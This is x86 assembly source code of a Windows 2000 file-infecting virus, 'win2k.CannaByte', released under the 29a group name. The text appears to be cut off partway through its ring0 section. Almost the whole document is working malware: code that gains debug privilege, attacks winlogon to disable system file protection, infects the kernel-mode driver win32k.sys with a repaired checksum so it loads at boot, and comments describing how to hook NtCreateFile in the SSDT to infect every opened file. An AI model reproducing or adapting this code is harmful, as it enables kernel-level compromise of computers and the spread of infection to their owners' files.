```
;win2k.CannaByte coded by vallez
;
;IMPORTANT: THIS CODE IS ONLY FOR READ AND IF YOU WANT TEST IT. IM NOT RESPONSABLE IF YOU
;USE IT FOR BAD THINGS. IN ADDITION NOW THE VIRUS WILL INFECT WIN32K.SYS AND WILL HOOK
;THE APIS BUT IT WILL INFECT ONLY ZZZ.EXE FILE SO FOR IT WORKS FULLY IT MUST BE MODIFIED.
;When a infected file arrives to a system it will infect the system.
;The expansion method will be to intercept NtCreateFile and NtOpenFile in SSDT,
;and infect all files that will be opened.
;For that propose,the virus will try to go ring0 and intercept there system calls.
;For going to ring0 virus will infect win32k.sys and in the next restart the virus will
;be loaded in ring0.
;Ill no explain lot of more things here coz virus is very commented so its easily
;understandable.

.586p
.model flat,stdcall

extrn ExitProcess:proc
extrn GetLastError:proc
extrn GetModuleHandleA:proc


;29a files
include mz.inc
include pe.inc
include win32api.inc
include useful.inc


;macros

;;;;;;;;;;;;;;;;;;;;;;;
callz macro dir_call
db 0E8h
dd (dir_call - $ - 4)
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
jmpz macro dir_call
db 0E9h
dd (dir_call - $ -4)
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
CalcLenString macro
local loopin
push esi
dec esi
loopin:
inc esi
cmp byte ptr[esi],0
jne loopin
mov ecx,esi
pop esi
sub ecx,esi
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
GezApi macro BaseKernel,ApiCRC,ApiNameLen
mov eax,BaseKernel
mov edx,ApiCRC
mov ebx,ApiNameLen
callz GetApi
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
GezSyscall macro BaseNtdll,ApiCRC,ApiNameLen
GezApi BaseNtdll,ApiCRC,ApiNameLen
mov eax,[eax + 1]
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
syscallz macro fc,paramz ;from Ratter's win2k.Joss
mov eax,fc
lea edx,[esp]
int 2eh
add esp,(paramz*4)
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
Writez macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov  [esp],esp ;for storing number of writted bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,WriteMemoryProcessCRC,WMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;
```

```
;;;;;;;;;;;;;;;;;;;;;;
Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov  [esp],esp ;for storing number of read bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,ReadMemoryProcessCRC,RMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;


;APIS'S NAMES CRCS AND LENGHTS

LoadLibraryACRC             equ 3fc1bd8dh
LLNameLen                   equ 12
CloseHandleCRC              equ 0b09315f4h
CHNameLen                   equ 11
FindFirstFileACRC           equ 0c9ebd5ceh
FFFNameLen                  equ 14
FindNextFileACRC            equ 75272948h
FNFNameLen                  equ 13
FindCloseCRC                equ 0d82bf69ah
FCNameLen                   equ 9
GetTickCountCRC             equ 5b4219f8h
GTCNameLen                  equ 12
WriteMemoryProcessCRC       equ 4f58972eh
WMPNameLen                  equ 18
ReadMemoryProcessCRC        equ 0f7c7ae42h
RMPNameLen                  equ 17
ResumeThreadCRC             equ 3872beb9h
RTNameLen                   equ 12
ExitProcessCRC              equ 251097CCh
EPNameLen                   equ 11
SetFileAttributesACRC       equ 156b9702h
SFANameLen                  equ 18
CreateFileACRC              equ 553b5c78h
CFNameLen                   equ 11
CreateFileMappingACRC       equ 0b41b926ch
CFMNameLen                  equ 18
MapViewOfFileCRC            equ 0A89b382fh
MVFNameLen                  equ 13
UnmapViewOfFileCRC          equ 391ab6afh
UVFNameLen                  equ 15
SetFileTimeCRC              equ 21804a03h
SFTNameLen                  equ 11
GetModuleHandleACRC         equ 0B1866570h
GMHNameLen                  equ 16
GetLastErrorCRC             equ 0d2e536b7h
GLENameLen                  equ 12
RegisterServiceProcessCRC   equ 3b5ef61fh
RSPNameLen                  equ 22
SetCurrentDirectoryACRC     equ 69b6849fh
SCDNameLen                  equ 20
GetCurrentDirectoryACRC     equ 0c79dc4e3h
GCDNameLen                  equ 20
GetWindowsDirectoryACRC     equ 0fff372beh
GWDNameLen                  equ 20
GetModuleFileNameACRC       equ 08bff7a0h
GMFNNameLen                 equ 18
CreateProcessACRC           equ 0a851d916h
CPNameLen                   equ 14
Module32FirstCRC            equ 38891c00h
M32FNameLen                 equ 13
Module32NextCRC             equ 0f6911852h
M32NNameLen                 equ 12
CreateToolhelp32SnapShotCRC equ 0c1f3b876h
CT32SNameLen                equ 24
VirtualProtectExCRC         equ 5d180413h
VPNameLen                   equ 16
GetCurrentProcessCRC        equ 0d0861aa4h
GCPNameLen                  equ 17
OpenProcessTokenCRC         equ 0f9c60615h
OPTNameLen                  equ 16
LookupPrivilegeValueACRC    equ 0da87bf62h
LPVNameLen                  equ 21
AdjustTokenPrivilegesCRC    equ 0de3e5cfh
ATPNameLen                          equ 21
EnumProcessesCRC            equ 0509a21ch
EPSNameLen                          equ 13
EnumProcessModulesCRC       equ 0dea82ac2h
EPMNameLen                  equ 18
GetModuleInformationCRC     equ 0f2a84636h
GMINameLen                  equ 20
SuspendThreadCRC            equ 0bd76ac31h
STNameLen                   equ 13
FreeLibraryCRC              equ 0da68238fh
FLNameLen                   equ 11
GetVersionCRC               equ 4ccf1a0fh
GVNameLen                   equ 10
RasDialACRC                         equ 0b88da156h
RDNameLen                   equ 8
GetModuleBaseNameACRC       equ 1720513eh
GMBNNameLen                 equ 18
OpenProcessCRC              equ 0df27514bh
OPNameLen                           equ 11
ZwConnectPortCRC            equ 0cbaec255h
```

```
ZCPNameLen                          equ 13
NtConnectPortCRC            equ 0c88edce9h
NCPNameLen                          equ 13
ZwRequestPortCRC                    equ 0e28aebd1h
ZRPNameLen                          equ 13
DbgUiConnectToDbgCRC        equ 09a51ac3ah
DUCTDNameLen                equ 17
DbgSsInitializeCRC          equ 0d198b351h
DSINameLen                          equ 15
DbgSsHandleKmApiMsgCRC      equ 2e9c4e99h
DSHKAMNameLen               equ 19
GetCurrentProcessIdCRC      equ 1db413e3h
GCPINameLen                 equ 19
GetCurrentThreadIdCRC       equ 8df87e63h
GCTINameLen                 equ 18
WaitForDebugEventCRC        equ 96ab83a1h
WFDENameLen                         equ 17
ContinueDebugEventCRC       equ 0d8e77e49h
CDENameLen                        equ 18
VirtualAllocExCRC                 equ 0e62e824dh
VANameLen                           equ 14
CreateRemoteThreadCRC       equ 0ff808c10h
CRTNameLen                  equ 18
NtTerminateProcessCRC       equ 94fcb0c0h
NTPNameLen                  equ 18
ExitThreadCRC               equ 80af62e1h
ETNameLen                   equ 10
GetCurrentDirectoryWCRC     equ 334971b2h
GCDWNameLen                         equ 20
FindFirstFileWCRC                   equ 3d3f609fh
FFFWNameLen                 equ 14
SleepCRC                            equ 0cef2eda8h
SNameLen                    equ 5
MoveFileACRC                equ 0de9ff0d1h
MFNameLen                   equ 9
MapFileAndCheckSumACRC      equ 462eeff7h
MFACSNameLen                equ 19
CheckSumMappedFileCRC       equ 0bbb4966eh
CSMFNameLen                         equ 18
CopyFileACRC                equ 0199dc99h
CpFNameLen                          equ 9
KeServiceDescriptorTableCRC equ 32a4d557h
KSDTNameLen                         equ 24
NtCreateFileCRC             equ 3ee6cc56h
NCFNameLen                          equ 12
ZwOpenFileCRC               equ 0b679c176h
ZOFNameLen                          equ 10
ZwOpenSectionCRC                    equ 73bdfd70h
ZOSNameLen                          equ 13
ZwMapViewOfSectionCRC       equ 0d287ee26h
ZMVOSNameLen                equ 18
ZwCloseCRC                          equ 180c0d23h
ZCNameLen                         equ 7
ZwCreateSectionCRC          equ 2c919477h
ZCSNameLen                          equ 15
ZwUnmapViewOfSectionCRC     equ 9d35f923h
ZUVOSNameLen                equ 20
NtOpenFileCRC               equ 0a1b1dc21h
NOFNameLen                  equ 10
ZwDeleteFileCRC             equ 6967772dh
ZDFNameLen                  equ 12
DeleteFileACRC              equ 919b6bcbh
DFNameLen                           equ 11

Kernel32CRC                 equ 204c64e5h               ;CRC of 'kernel32' string


TOKEN_PRIVILEGES struc
TP_count dd ?
TP_luid  dq ?
TP_attribz dd ?
TOKEN_PRIVILEGES ends


unicode_string struc
        us_Length        dw ?
        us_MaximumLength dw ?
      us_Buffer        dd ?
unicode_string ends


objects_attributes struc
        oa_length     dd ?    ;lenght of this structure
        oa_rootdir    dd ?
        oa_objectname dd ?    ;name of the object
        oa_attribz    dd ?    ;attributes of the object
        oa_secdesc        dd ?
        oa_secqos     dd ?
objects_attributes ends


pio_status struc
        ps_ntstatus   dd ?
        ps_info       dd ?
pio_status ends


TOKEN_ASSIGN_PRIMARY                equ 00000001h
TOKEN_DUPLICATE                     equ 00000002h
```

```
TOKEN_IMPERSONATE                      equ 00000004h
TOKEN_QUERY                            equ 00000008h
TOKEN_QUERY_SOURCE                     equ 00000010h
TOKEN_ADJUST_PRIVILEGES                equ 00000020h
TOKEN_ADJUST_GROUPS                    equ 00000040h
TOKEN_ADJUST_DEFAULT                   equ 00000080h
TOKEN_ALL_ACCESS                               equ STANDARD_RIGHTS_REQUIRED or \
                                                     TOKEN_ASSIGN_PRIMARY     or \
                                                     TOKEN_DUPLICATE          or \
                                                     TOKEN_IMPERSONATE        or \
                                                     TOKEN_QUERY              or \
                                                     TOKEN_QUERY_SOURCE       or \
                                                     TOKEN_ADJUST_PRIVILEGES  or \
                                                     TOKEN_ADJUST_GROUPS      or \
                                                     TOKEN_ADJUST_DEFAULT
SE_PRIVILEGE_ENABLED                   equ 00000002h
CHECKSUM_SUCCESS                       equ 00000000h
CHECKSUM_OPEN_FAILURE                  equ 00000001h
CHECKSUM_MAP_FAILURE                   equ 00000002h
CHECKSUM_MAPVIEW_FAILURE               equ 00000003h
CHECKSUM_UNICODE_FAILURE               equ 00000004h
OBJ_CASE_INSENSITIVE                   equ 00000040h
FILE_DIRECTORY_FILE                  equ 00000001h
FILE_WRITE_THROUGH                   equ 00000002h
FILE_SEQUENTIAL_ONLY                   equ 00000004h
FILE_NO_INTERMEDIATE_BUFFERING       equ 00000008h
FILE_SYNCHRONOUS_IO_ALERT              equ 00000010h
FILE_SYNCHRONOUS_IO_NONALERT         equ 00000020h
FILE_NON_DIRECTORY_FILE                equ 00000040h
FILE_CREATE_TREE_CONNECTION            equ 00000080h
FILE_COMPLETE_IF_OPLOCKED              equ 00000100h
FILE_NO_EA_KNOWLEDGE                   equ 00000200h
FILE_OPEN_FOR_RECOVERY               equ 00000400h
FILE_RANDOM_ACCESS                   equ 00000800h
FILE_DELETE_ON_CLOSE                 equ 00001000h
FILE_OPEN_BY_FILE_ID                 equ 00002000h
FILE_OPEN_FOR_BACKUP_INTENT          equ 00004000h
FILE_NO_COMPRESSION                  equ 00008000h
FILE_RESERVE_OPFILTER                equ 00100000h
FILE_OPEN_REPARSE_POINT              equ 00200000h
FILE_OPEN_NO_RECALL                  equ 00400000h
FILE_OPEN_FOR_FREE_SPACE_QUERY       equ 00800000h
FILE_COPY_STRUCTURED_STORAGE         equ 00000041h
FILE_STRUCTURED_STORAGE              equ 00000441h
FILE_VALID_OPTION_FLAGS              equ 00ffffffh
FILE_VALID_PIPE_OPTION_FLAGS         equ 00000032h
FILE_VALID_MAILSLOT_OPTION_FLAGS     equ 00000032h
FILE_VALID_SET_FLAGS                 equ 00000036h
FILE_SHARE_READ                        equ 00000001h
FILE_SHARE_WRITE                     equ 00000002h
FILE_READ_DATA                         equ 00000001h
FILE_WRITE_DATA                      equ 00000002h
FILE_APPEND_DATA                               equ 00000004h
FILE_OPEN_IF                           equ 00000003h
FILE_OPEN                                      equ 00000001h
FILE_NON_DIRECTORY_FILE              equ 00000040h
STATUS_SUCCESS                         equ 00000000h
SEC_COMMIT                                     equ 08000000h
SECTION_QUERY                          equ 00000001h
SECTION_MAP_WRITE                      equ 00000002h
SECTION_MAP_READ                             equ 00000004h
SECTION_MAP_EXECUTE                  equ 00000008h
SECTION_EXTEND_SIZE                    equ 00000010h
STANDART_RIGTHS_REQUIRED             equ 000F0000h

STARTUPINFOSIZE                      equ 68
PROCESSINFORMATIONSIZE                 equ 16
cPushfd                                        equ  4
tamvirus = evirus - svirus


.data;
;;;;;;

az db 'DeleteFileA',0
azz db 'ZwUnmapViewOfSection',0
vallez db 'vallez for 29a',0


.code;
;;;;;;

start:
;;;;;;

;first generation codevvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv


mov eax,12345678h


lea esi,az
CalcLenString
mov edi,ecx
call CRC32
lea esi,azz
CalcLenString
mov edi,ecx
call CRC32
```

```
;unprotection of code for first gen
@pushsz "kernel32.dll"
call GetModuleHandleA
mov  esi,offset svirus
mov  ecx,evirus - svirus
xor  ebx,ebx
callz UnprotectMem
;This small code will move all code 1 byte up for simulate second gen...
lea edi,[evirus]
mov esi,edi
dec esi
mov ecx,evirus-svirus
std
;rep movsb
cld
;mov byte ptr[svirus],90h

;first generation code^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^



;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX



;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv

svirus:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Entry Point Of Virus when is executed In ring3.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EPointFile:

;;;;;;;;;;;;;;;;;;;;;;;;
call d_offset                    ;I calculate delta offset
d_offset:
pop  ebp
sub ebp,offset d_offset
;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;
pop  eax                         ;Ill get kernel address
push eax
xor  ax,ax
add  eax,1000h
;eax -> a part of kernel32
SearchKernel:
sub  eax,1000h
cmp  word ptr [eax],'ZM'
jne  SearchKernel
;eax -> base of kernel32
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
push eax                         ;i have unprotected the memory of code of virus
lea esi,[ebp + svirus]
mov ecx,tamvirus
xor ebx,ebx
callz UnprotectMem
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
pop eax                            ;I get other used librarys
mov [ebp + NtKernel],eax
callz GetLibrarys
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]           ;Ill keep the current directory
GezApi eax,GetCurrentDirectoryACRC,GCDNameLen
lea ebx,[ebp + CurDir]
push ebx
push 256
call eax;we keep current dir for restoring
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov ecx,cs                               ;The virus will work in win2k only
xor cl,cl
or ecx,ecx
jne Exit
mov eax,[ebp + NtKernel]         ;Im in NT but i want win2k...
GezApi eax,GetVersionCRC,GVNameLen
```

```
call eax
test eax,80000000h
jnz Exit
cmp al,5                            ;i test for win2k(i think XP is 5 too)
jne Exit
;Im not sure if this will work in NT previous machines perhaps but ill code for win2k.
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]        ;we go to system32 directory first
GezApi eax,GetWindowsDirectoryACRC,GWDNameLen
push 256
lea ebx,[ebp + Buffer]
push ebx
call eax
lea esi,[ebp + Buffer]
CalcLenString
mov edi,esi
add edi,ecx
mov al,'\'
stosb
mov eax,'tsys'
stosd
mov eax,'23me'
stosd
xor al,al
mov [edi],al
mov eax,[ebp + NtKernel]
GezApi eax,SetCurrentDirectoryACRC,SCDNameLen
lea esi,[ebp + Buffer]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;


;I want to enable Debug privilege for token of this user. touch_privilege was coded by Ratter
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtAdvapi]                ;enabling debug privilege for this user
GezApi eax,AdjustTokenPrivilegesCRC,ATPNameLen
mov [ebp + tAdjustTokenPrivileges],eax
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
mov [ebp + tCloseHandle],eax
mov eax,[ebp + NtAdvapi]
GezApi eax,LookupPrivilegeValueACRC,LPVNameLen
mov [ebp + tLookupPrivilegeValueA],eax
mov eax,[ebp + NtAdvapi]
GezApi eax,OpenProcessTokenCRC,OPTNameLen
mov [ebp + tOpenProcessToken],eax
mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentProcessCRC,GCPNameLen
mov [ebp + tGetCurrentProcess],eax
push SE_PRIVILEGE_ENABLED
pop eax
@pushsz "SeDebugPrivilege"
pop esi
call touch_privilege
;;;;;;;;;;;;;;;;;;;;;;;;

;Now ill disable sfp with Benny&Ratter method
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
callz GetWinlogon                       ;I have debug priv so ill disable sfc with benny&ratter method
or eax,eax
jnz Exit
callz AttackWinlogon
or eax,eax
jnz Exit
;;;;;;;;;;;;;;;;;;;;;;;;


;Now infection of win32k.sys
;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;U will see in this part lot of move and copy files but i do it for ensuring the
;perfect working of the virus...I had some problems with sfc disabling due this code
;was executed before sfc disabling code so finally win32k.sys was not infected the first
;time that virus was executed in that system uninfected still...but i have correct that
;problem doing some movings and copyings of files...that file here,that file there and
;virus works perfectly now ;P



;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + _WIN32_FIND_DATA]        ;Search win32k.sy
push eax
lea eax,[ebp + win32ksy]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
cmp eax,0FFFFFFFFh
je NoWin32sySoContinue
push eax
```

```
mov eax,[ebp + NtKernel]
GezApi eax,FindCloseCRC,FCNameLen
call eax
lea esi,[ebp + win32ksys]
push esi
mov eax,[ebp + NtKernel]                ;deleting win32k.sys if it would exist
GezApi eax,DeleteFileACRC,DFNameLen
call eax
mov eax,[ebp + NtKernel]            ;renaming win32k.sy to win32k.sys
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksys]
push esi
lea esi,[ebp + win32ksy]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
NoWin32sySoContinue:
mov eax,[ebp + NtKernel]              ;we copy win32k.sys to win32k.fuck
GezApi eax,CopyFileACRC,CpFNameLen
push 0
lea esi,[ebp + win32kfuck]
push esi
lea esi,[ebp + win32ksys]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;


;Why of this?:
;The original win32k.sys is been used by the system so we can modify it...however we can
;change its name. We copy it to win32k.fuck and infect the .fuck file...
;later we renaming win32k.sys to win32k.sy and win32k.fuck to win32k.sys
;and this new win32k.sys will be loaded in ring0 the next time that system reboot.
;i copy .sys to .fuck for no infecting directly over win32k.sys
;coz i had problems...i tried to infect directly over win32k.sys but sometimes(lot of times)
;when i called functions as CreateFile or others, i got this error from GetLastError:
;32(20h)(The process cannot access the file because it is being used by another process)
;I supposed that win32k.sys is a file used lot of times and if i infected directly over
;win32k.sys i would get this error lot of times....so finally i decided to do a copy
;named win32k.fuck for later renaming this file to win32k.sys when already infected.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;Now ill infect win32k.fuck
;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + _WIN32_FIND_DATA]        ;Mapping win32k.fuck
push eax
lea eax,[ebp + win32kfuck]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
mov [ebp + SearchHand],eax
cmp eax,0FFFFFFFFh
je Exit
callz MapFile
or eax,eax
jz Exit
;;;;;;;;;;;;;;;;;;;;;;;;


;INFECTION OF WIN32K.FUCK
;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + ViewHandle]             ;a simple infection overwriting reloc section
mov edx,eax
mov ebx,[eax + 3ch]
add eax,ebx
;eax -> PE
mov bx,word ptr [eax + 8]
cmp bx,'zv'
je StopInfection ;becoz already Infected
mov word ptr [eax + 8],'zv'  ;a small mark ;)
mov ebx,[eax + 28h]          ;EPoint of win32k.sys
mov [ebp + EntryPointWin32ksys],ebx
xor ecx,ecx
mov cx,word ptr [eax + 6]
dec ecx
mov ebx,eax
add ebx,0F8h ;sections
GoToLastSection:
add ebx,28h
loop GoToLastSection
;ebx -> .reloc                         ;over-reloc infection of win32k.sys
cmp [ebx],'ler.'
jne StopInfection
mov dword ptr [ebx + 24h],040000040h ;reloc not discardable,readable,writable
mov ecx,[ebx + 10h]
cmp ecx,tamvirus
jb  StopInfection

;i change entry point of win32k.sys
```

```
mov edi,[ebx + 0ch]
add edi,EPointSystem - svirus
mov [eax + 28h],edi ;RVA new entry point for win32k.sys

;ill copy the code overwriting .reloc

mov edi,[ebx + 14h]
add edi,edx
lea esi,[ebp + svirus]
mov ecx,tamvirus
rep movsb
;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;
mov eax,'vzvz'
StopInfection:                      ;Unmmaping win32k.fuck
push eax
callz CloseAll
pop eax
cmp eax,'vzvz'
jne SysAlreadyInfected
;;;;;;;;;;;;;;;;;;;;;;;


;IMPORTANT: I MUST CORRECT WIN32K.FUCK HEADER CKSUM AFTER INFECTION OR SYSTEM WILL NOT START
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtImagehlp]              ;I correct the cksum of the file win32k.fuck
GezApi eax,MapFileAndCheckSumACRC,MFACSNameLen
lea esi,[ebp + aux]
push esi
lea esi,[ebp + Needed]
push esi
lea esi,[ebp + win32kfuck]
push esi
call eax   ;get cksum
callz MapFile
or eax,eax
jz Exit
mov eax,[ebp + ViewHandle]
mov ebx,[eax + 3ch]
add eax,ebx
;eax -> PE
mov ebx,[ebp + aux]
mov [eax + 58h],ebx
callz CloseAll
;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;
push dword ptr [ebp + SearchHand]   ;Closing the search hand
mov eax,[ebp + NtKernel]
GezApi eax,FindCloseCRC,FCNameLen
call eax
;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]            ;renaming win32k.sys to win32k.sy
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksy]
push esi
lea esi,[ebp + win32ksys]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]                ;renaming win32k.fuck to win32k.sys
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksys]
push esi
lea esi,[ebp + win32kfuck]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;



;Exit
;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
Exit:
mov eax,[ebp + NtKernel]                                ;Exit from virus code...
GezApi eax,SetCurrentDirectoryACRC,SCDNameLen
lea esi,[ebp + CurDir]
push esi
call eax                                                        ;we restore current directory.
callz FreeLibrarys                                      ;free librarys loaded.
or ebp,ebp                                                      ;first generation exit, ExitProcess.
jnz gen2Exit
push 0
call ExitProcess
gen2Exit:
mov eax,[ebp + NtKernel]                                ;second generation exit,jumpin old epoint.
```

```
GezApi eax,GetModuleHandleACRC,GMHNameLen
push 00000000h
call eax
;eax -> this module
add eax,[ebp + EntryPoint]
jmp eax ;old entry point
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;
SysAlreadyInfected:
lea esi,[ebp + win32kfuck]
push esi
mov eax,[ebp + NtKernel]                ;deleting win32k.fuck if it would exist
GezApi eax,DeleteFileACRC,DFNameLen
call eax
jmpz Exit
;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Entry Point Of Virus when is executed in ring0.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

EPointSystem:                      ;Ring0 Code
;;;;;;;;;;;;;

push 00000000h                    ;This space in stack will be filled with the entry point
                                            ;address of win32k.sys
pushfd
pushad

;;;;;;;;;;;;;;;;;;;;;;;;
callz R0_Doff                      ;i calculate delta offset.
R0_Doff:
pop ebp
sub ebp,offset R0_Doff
;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + EPointSystem]      ;our target is to search image base of win32k.sys in memory.
xor ax,ax                         ;hardcoded would be 0A0000000h in my system.
add eax,1000h
SearchBaseImage:
sub eax,1000h
cmp word ptr [eax],'ZM'
jne SearchBaseImage
;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + EntryPointWin32ksys]     ;We have the old entry point and the image base
add ebx,eax                             ;so we have the entry point address. We put
mov [esp + cPushad + cPushfd],ebx       ;that entry point after pushad and pushfd bytes
;;;;;;;;;;;;;;;;;;;;;;;;                    ;in stack for using ret instruction later and
                                                    ;for jumping entry point of win32k.sys


;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[esp + cPushad + cPushfd + 4] ;address in stack of a zone of ntoskrnl(in function
xor ax,ax                                 ;ExCreateCallback).With this address we will get
add  eax,1000h                            ;ntoskrnl base addr
;eax -> a part of ntoskrnl
SearchNtoskrnl:
sub  eax,1000h
cmp  word ptr [eax],'ZM'
jne  SearchNtoskrnl
;eax -> base of ntoskrnl
mov [ebp + Ntoskrnl],eax
;;;;;;;;;;;;;;;;;;;;;;;;




;;;;;;;;;;;;;;;;;;;;;;;;
;now we will get somethings that will be useful for hooking NtCreateFile...SSDT address,
;syscall number of NtCreateFile, ....
;There is a undocumented entry in the export table of ntoskrnl, KeServiceDescriptorTable,
;and this entry is the key for accessing the system service dispatch table where we must
;patch for hooking a service(NtCreateFile for example ;)
;KeServiceDescriptorTable points to a structure like this:
;     {
;         DWORD ServiceTableBase         - pointer to system service dispatch table(SSDT)
;       DWORD ServiceCounterTable      - not important for us
;       DWORD NumberOfServices         - number of services in system service dispatch table
;         DWORD ParamTableBase           - pointer to system service parameter table(SSPT)
;       }
;
;We want to get the number of the NtCreateFile service and then we search in this table
;and we patch the address of NtCreateFile rutine with a address of our code

